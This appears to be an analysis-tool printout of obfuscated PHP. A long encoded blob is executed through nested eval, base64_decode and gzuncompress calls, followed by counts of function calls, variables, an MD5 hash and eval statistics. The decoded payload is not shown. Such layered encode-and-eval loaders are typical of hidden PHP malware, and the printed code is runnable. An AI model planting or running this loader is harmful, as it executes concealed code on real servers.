jGl0pf89qbx53+9RppwOTdM7q3LQJOPJejHk4jQpQOyGnM+0/
TfKNadAleBh6GKoQGHnDHnYXqFmn6Rb8pyG1gLuBwPjbuwi62e9WAoyatMH93K7d94SJ+gV8/
aTcy7wZea5UOK0QNNFI3rU3NGvpnVSkSyEWTe46JZxGoCbrvVhn3MTBNR2TRI/
jqQI7P/
EOLutx7IqOyl5OHRZ7O/
VtPLMX0aCUVbE+JbSvVaUV3Soac17b9Nb75693FW6pt01TVjGvLcu1LISerIiiPVF3tCcZx8M/
g9/
H9tnct2qzqQhh+pBZis40EPDgaBsRFB6AKacVshIDCxsY15+i6dcQ/
2KDuOJZX++n6QqiaI60L91Vr9gi55zMpc6gQW480uCzUAg8/
wO6a+B+TlWHUh8drfx72UK3jG9lR9jo+Lo57yd4X/
nRzARwFrLmHu9AEPH6j1Sch24tLoDP4ltmuNP2LnLmfqmltkaoRSIuhzEgpQoz6t+dsG/
5M1YWKV6Af2CAFHiJ/
UD0zeOSdWfGbBcjJ9KmEwQQJxU1rtobb0EzwJQB+Fb/
WPK2aRdhx0dG9BU8HjRsRJC8wTnb0Sc9d2/
7nXk96oQ3pqqRFcVtba7dRK90aYKMgJ8vto+sWQsYKYLiH/
ZVqvSvy88gD4Gb3vmROPabBMHAUOrOnjYseUDvQB836hA+5VgUMy6LsIDrZylr9kpxuVClYbtH1yXdO3iELmrf0WPNti1eH7DZ5MUafPCG4s0JIB+CFJ+TGG3HFqCp2Cb0U5cBspNGG7vtGAv5nph7D3OEE/
BzXieyq3hxAa8uKik3xlEni6k5CvJXoDa7wziXfCxR+oyFd9OmI64asYTFdTbWregKKNbrVj4Nc2At4D/
QZfWoiR8zhSBXmX1mLBzjg0haeuTmADex7acPXrz4rlaB06eUzB+/
U02OA79pAfY1PjjAJfIBI+Xmout2QPXNNjvuX8BT7sxdBCU04etOj9FjQc/
Lfd4AXGpPpOxHM1A6uZu0PIJdUgaI6I6sYf8459qJG4UMiI5d4C+yrGpekvIigt1NQi/
GRWy3L0j5s48euKlhVYZSBOb/
pAp6BZn8QPLInJUo7rqQ3bJzhAJJwF8kC2cds9gRcswTvfWmz6nWjDLnke0iENKIZ4L4lPijJ/
IG6XTgUuoRstiwT00MzLBbz53lqK1KO1d6K3ql2b+5APGWkGDPXKZ4E6X4BmCqE+qy+ZPhOsMno6xplNBNVKgw6dm1/
4WURObO5xbW8fvmcHYZn3O9jc0bZr2LMJEj740EMmAhti/
YsOvVtLnYPW+00BuXLUFGKK1oxMObg58IHfjUUuuaNjjrYH6GSQDMKtx+NTzp4UeNkh35s6GJ980Fcx0hHykyNsXRBrvFefh9OOwG97H4jgds+sVtT2weLsX9CBxqphjRMZY1jHd83Btw/
9NcX02cjVp+H2C34/
aXbBSOHBuDDLLEJhR9w7vLj5qD+Q5zHsVcfU7gO9NfeevmvQsGokZ1hLNwkaqwpJlEaJlUY31ODR4kPrlKC35s4M/
N5Syzd4dwty+c/
B9F2HFOwoc/
cIHR/
NEF+IiG2Yn6KVoO4+cFbQYtClO4nwDvkoaEP8RWwqMmtE1LwHZK1NJ0LVCPsnAm7A/
+4d7wvQEuB/
nXS+efYAGs63iYztbx78uGRvV/
D3ScvFy3AOeC7QRLXxMdtomKB22owG7mIHzz3QUESJk2s8XffkRZ2fVzbdDqW9BQwoSoS9p6afuxLkQzDWOVMH8t/
54vaPBKNT8e2QyuSl5I/
dTMdv8Ounq4X/
YG0PwDsfwWL/
6rQ3jqzvJnxYkJ9OLDj6zUQuyUQDyB3m2SrKp/
6cCXqm8xJ2QsEMUVJJyptgta9WAj5Gw77oY+NDeX68ml7aMJ8ZxNQpF/
EdNHITu77mPoW92z45ExP8nVOrcVh+jj6wmM35e681zRLUn2D8oGwx0LN+ViIGT08AXwKnLnBQR70Le+dP+ioENlfJ79E2546BzTCBGMpnfGqAGYALngxZ7zS0ioxvHp/
wIQkESGoAe6x/
gyrM5Wg9wQvb7SDSesIC4tcy+sC4dYa89UnCeMmH7E20vjSDfkrWZ83881Z+fxWYmLvekKcgHwVxChqVw9z63G92UsBedcj+3z1yhO7MbpPWVtekiGd+Wgs5k2c56lNi7lT9rkRw0GvdvzPwrXJ8H/
ggrNxaOGi5DXvEyeTj1YSuTIPjM2P/
ItCJv6utFw45Sk3kLwdOyJg5u6gzNcYlAa8lQ7KywL0lgpxZUZp+m1nDLbuaSAmkMTBHLcQBNp1BVYW6daPxcmfwk5bfyR51sOFbJr4r07sMiZMMLCEncu/
kckhmz2sK/
k6is9NND2AiMXd8STJgwKZYVnMfLuG4J0N2qCDmaAGexPFOSQA5am/
cTPCtmsy5XA8+r4c9TD+Vr8ZKnF+J/
nfPOWgv6Lwobm5ijU6Hgztl1AVWt0o+WorprQvcXzWLT2OrWSGCGq0OKUBYGy1FHSRbos3dO3yuhj7JhBe2KDC1RrjSoq/
G/
plrUXF5AI7tA/
A2DxbSa63jL4biKZnib8ZJr0zvFW5qThNVT8eFWcuVhNtUY2xJvmzUj837nCmHtSl3IGSrn5qiPZmeXSa+lOnvi89ISbSzAD+IoxWRChjJ+1K/
a1ih/
p0GGiuGM2V5I2XEye2Ngj/
qlWOeHxxLcTouNYY8YC2fthAVcJ3Kd4+xvQXv0AYlI6XUxNzv9kWonIttfcG6WMAg4gpcQhjE1fxzSGTLGrs/
sJ2e6ykw52xL8GqmBwbwBclN3bt8pjHs1xt40bAd4oQO3oPbOFe+Vxofl/
Pbnun+Bt74zkOMwIfB5wcOyY/
PC/
AzePpXHRKLOMsb/
NB3g5L9ivCY+t6Vm3MUA35dd29oNGgt5IyWtXk5tYLNsaIR5JvwOFydxFI8+LBxO1OEIzlZKJu2C490DAxa5RE+ZfMyieDt1hPMWHAcTU0W5YzmWWEJ3t29oP5TDhAD4RaZmpTCXvPEXgmbCGmx0JCzU8V/
wGNrr5xMDQ7TJ8vKG7uNa0v9KsRfarTMPfFPydspcwRN8e1NJgW5xRuJ9a/
TBuKc8xjRoHeu9vHD7cOLFXTl9jFh4dvUyodVwcAQMZDCer6Y5ymS3jrd94zHWgb/
2HUEsQyxVO3NB/
zxwqYM1Qh2zaTmiomyC3XPPmuV6NueTOsHtAAIvF/
boNdVgd+t5dHrrkgV0XvK15scD05mn10WiDKF/
UjHbe4i70ROK3jd9qPs9absra9tN+/
GeCQThJ48flGf+BJ7FXDUK8eqUuam0Wxq37duaelVDvTrikx9ZK8Cj3ZnTH+1Y8uyorFyfNvVdHsnNobdZc66W4fUTxxh3mlA7qzC7SuNRMSH3uIBiEhAZcP7L8gDERHLW0zmGS8uMzv71OMZGAGfErRWhP8cYBxBVfR5uePfWv7zAu6dqiG7K0RpGihLcBV1Gqx01JI0Au1DjWPOKzVYicsep5Vj7qNpoHb3CbGTdmF2z4r+kcneZug4ENn+iUAFucDl1d5MP5c+lRbmAnzuJMCz66qRoE1Mh+CngTCyD7D0BdR0S1l7gH8Qm+OHmOeZ0uXlYOr/
aaeZqA1zda0w/
iXA3/
CZPnA4+B2KEk7v3GoTiKszaEQAOv2uIlzl8ucAbDuQSfOMHw8QO4U5W8JZdmfRElSDcoGpqZqynck34r641GE/
soj4asLPaqJjqTGjIaYt17PSOgK+f1UQn11+PLPZPIMiV2AvRafmoCLKhaldE7VWxYgrbGzqbfjAHbuYNmAHIdigso4pU/
/
5l83ti+9qyOcFSXnbqVBXOf04hOMXKdoS9M1hqIW1TrYcvKcCbWAFRgQvW4K9qQ4edxksb8482TB8qEZtJbZaiUO+kwGb2oopOK6hm+mHD/
iWcvecWfqb21Q1s2dO7/
xK1ibN4CEZ8QNjMO/
hMpp+fTl4rlwusyw8V4DHuCJBUv+Msp1OpW4Owm/
fJMzeTJwPrRW/
kgJiJ4L8bh9tAf6KSvCC5rxWEYMekRfzm4/
w1cxNri9a0mqSJ5DfQaO+KHC9gr2UjBREEWctP1i19qpqStzWnGND9F4H2xP2Td5FzYHu9Mkm4JmQuwRtnjodA/
AW6rrHCy88yK3H76bAm+IUGLO/
Q77uM8B/
Pm4U8m4PGoiq/
LGVfI1E8Pg02vSadCtuE3MHCfaoeBI/
Nj1AbRGCkA/
YvsJnQr5kabBOAmNzno5XQwzcTt0KWanYYSTanE8V79wWoKm9nUwtsHB8Bb6803CJZHRGHCuZ8h68Zm/
qwkyNTmzGje7ebCnESMYzaLq3yUFN+UiSEuFvbmEC7vGagY/
rgm2Qft/
XLDY5l7YDyWH2rsA3Q4MOVoNIwiHGa+u8s5mb7/
Lkcv3miGR0ClDDMS5t68mkG0hpPUG/
Cph7YENLARACTXqCiR+rG7EEPRsu1vKV2dtb4H4q7bPFsQ4YN/
U0+E5t8M0c7fU+vnnkgS/
ovyQ/
9l2A4dv3hwRZGx11kLDeK00dGt244AP7SuAN2OnQSG13oelfHycKga/
1PQZ+91VKHOR2/
F2xWLeF98qdhedj8BIwuovtpi1qv4VveqtYe/
nf8+3tyR0cMnO++bMWpv+uEotLhv5TOfwDK3Mjpqc2Fp+0aH9V6D66SJ8aFP/
RSG+1oDv3PcwGfM330ckL9eyKYG8H/
GlgbVjUCxWRr2TSJOUUZ445l2O9zZ3FxOp7HsVOArMBGPxWvGfZpCuO+FZK2HuTCCEm7Cq62Vz0F7KTN7DpUzlnU18qZkP/
DeOF/
K8t5eD4anroFosPeWdPhUryXfWtdUMdxj6T6w3GYlMmaOm0SoHPq4t2pKZev+0+5GkNunEdcntEoFcb5/
2nZYnVFckG2q5Bj1GnA+N5gBXdv3poE6n/
Re1pPatAA+vRd+eTlX6Ofzn7uYMntRqn/
8gALxkCrzSTr1I+kITZkOGWwLpIEXlTEwpb6UWb83jSPGkb+zvw+w2+b18hYqcy2Eu7vebR+CqB5GWEfyHSeFssX5fPwwIuMnUJTm0xvhIMce9njpKLBzz0YrKP4OemzjWwsco7yCWN3ys500FGbQU+gLe20HQnfvu7FtkYf6WB9c0ZldWs1cVWpoeW6StoUYZn8LV5goFTQMeI6EM19j3E6IMG4yebvSIV3jfV6l7xHtTrOCQOPsh5gc8XgvvxrUVHSjD95tqcqz7sHOmh4yumup8FWhFw7p7BisjxH+APfMv98ZXpzIU42xn4Q8CjgSPzLlIHFLdzJ1fTD1LwE/
jlwJwNFmtp6sv6VIpRm15xp+RzHODv7zQ/
uswxdVz4frG5W8/
LB/
a7x/
y4FJz+mp5Zlz1Bpp478N8MudWpBnFpPw/
TI1RJTCmfF0kRMEFEz13hbTwQsgnfFviA70wsgYxud2HTPyAmp+Y0z3bzRgP3soidctaXWosIYnaCTIe6kT5BA7EAZmbm3q6j12wY37nz772JTM0AsSoneF9scq5Pq3mfgi4O9ZqB/
PKQLuL3CFkdu7UGPwj80Wlcgc9CslhOeUQS46XyQFy60PQLFXdQnCsx9fqYcNQUvzPHm8CLYlX0az5CvozUdzcQ0Esa/
3eeHasTcP+qpDI1ypXpu5agxwEYSlQ27HPgaBpSKn16k1pVEHWj5HFKHXGv5jhIIi9txscHPMcXG4mdj72COFsrq7/
WOxlL61+UyLhqZ+JUU49SEewwBr/
W/
YVrJUwNcBK4353UcTYkL7InFgviVZk7SI63VJM68/
BmKXvJIdfrasJ9ydq5xfFv69CeW2pQvnCI47FyXnYuj5mZK9OzHMaSVrs3XtESK7Thyj9v152YmrN/
LcODnPuPmGIn+6yPGvKB4u41G9tFofaRmZ4WI/
ltucvpIKTw/
3VbrC+pr9caxw6X4kA4N3WY3Jw/
3rDfvhsLp5cd5sH3blQvj2YWSuSrzpgekrmfIRbtBvwjZwFKAvFXAr82ln6CtXzCXkwMH2XoBwHT/
alodOr5X3AloOPj5tGwXYAh/
7ooeQn9Y8P4l+Q/
j/
DzIZHA4Glsybfwank2GekXn/
q8EuWb7KABgfmuOMulC/
OEv0AFkMLgiE3PbZhXYMK/
7HN8q73dU378zaajub/
xZOi2M9E4zbj4PCrdVvcux8t3I7exwoSDfh3K6biDT5oZ7t+NxLuU5SEHP6yc+HCFGJID5qDVbgceg2GiiKV3NZOCStclQfBJ+QEiqndq+xhVEXDprFTt/
Oz5JD4Z0BF19FTu3oPM/
UHtuIcM8pc7cSDFMgjwPsDwC3hNQv6rzkhYHVA3myyIaTECW3y6QFGOVilH1wFO0JLFQKBHO5sQgn26ddPbznb9VFHjikCkCV/
NmRngot6WI3LIDiTo/
LyZjfbSEmUdgd8w/
Ul/
/
zmQiVrVcD50Mg7zWf9BvG/
muWBuEZXrvqCslYlF7+A9dM23G/
BqAusAc4Yn6pAvOUL8BuJdArPDHK08Mu8NSZZK/
QYflqYRLsGvlKlPHHpaP8AEczPqK0EJMGi817O2E+nqzlTx+D1m4NlNFT774mCb2NtLmOfLNn81+XrlY3knO7609u0F6/
2goGGVVg6bkw+Lbi9uzlrDJIH3cVWkSeULvxmM9if3fIpdWiyeMn3f/
7uPvX7ywnMocHsmzqAz70M3ga9hZCK7/
rrufZiG5CIHQb8Z+k1tYZfyfYNx74qVqLCpLu3jqPJ+7mYBefm4NlGsGyf5f/
7Pz8iZPiV+YlOe2LBvwiRQOOGlSwPw5Dvxkv1sKv6cKGucSz4uF/
b4n++f/
/
3f/
wOPzyxO";
eval(base64_decode(gzuncompress(base64_decode($QEBE9697A831E71132389F63B08DA35C4))));?>

Function Calls

gzuncompress 3
base64_decode 6

Variables

$Q3D6AA851B1539B95DBD3652F5CC6CFF5 eNrUvWt3osoTL/yB8mKDl5n40rvgJYqKyDuFBBFE/6NG8dM/VdXd0CCaZPY+..
$Q9B036EC60EF0FE1F9DABC3A324DDBE77 eNo0m1mTozoSRv+SBKai/NiYzdgShdACegPkKAwCU14xv37SN2IeZrpvd5cN..
$QEBE9697A831E71132389F63B08DA35C4 eNpEnNuSozoTpR9pEJiK7cvGIDA2ohA6gO4AOQojgSmbsjFPP+n/ YiZ2RO..

Stats

MD5 0dbcbb669360fd1cbdca183e00c49d56
Eval Count 3
Decode Time 357 ms